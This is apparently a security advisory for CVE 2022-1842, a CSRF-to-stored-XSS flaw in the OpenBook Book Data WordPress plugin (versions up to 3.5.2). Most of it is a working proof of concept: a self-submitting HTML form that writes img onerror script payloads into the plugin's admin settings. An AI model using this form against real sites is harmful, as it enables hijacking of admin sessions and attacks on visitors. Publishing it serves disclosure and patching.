OpenBook Book Data <= 3.5.2 – Arbitrary Settings Update to Stored XSS via CSRF | CVE 2022-1842

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping as well

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=openbook_options.php" method="POST">
    <input type="text" name="openbook_template1" value="</textarea><img src=x onerror=alert(66)>">
    <input type="text" name="openbook_template2" value="<img src=x onerror=alert(77)>">
    <input type="text" name="openbook_template3" value="<img src=x onerror=alert(88)>">
    <input type="text" name="openbook_template4" value="<img src=x onerror=alert(99)>">
    <input type="text" name="openbook_template5" value="<img src=x onerror=alert(1010)>">
    <input type="text" name="openbook_findinlibrary_openurlresolver" value="">
    <input type="text" name="openbook_findinlibrary_phrase" value="Find in the Library">
    <input type="text" name="openbook_imagesrc_phrase" value="">
    <input type="text" name="openbook_openlibrary_domain" value="http://openlibrary.org">
    <input type="text" name="openbook_proxy" value="">
    <input type="text" name="openbook_proxyport" value="">
    <input type="text" name="openbook_timeout" value="10">
    <input type="text" name="openbook_savetemplates" value="on">
    <input type="text" name="save" value="Save Changes">
    <input type="text" name="action" value="save">
</form>
<script>
    document.getElementById("test").submit();
</script>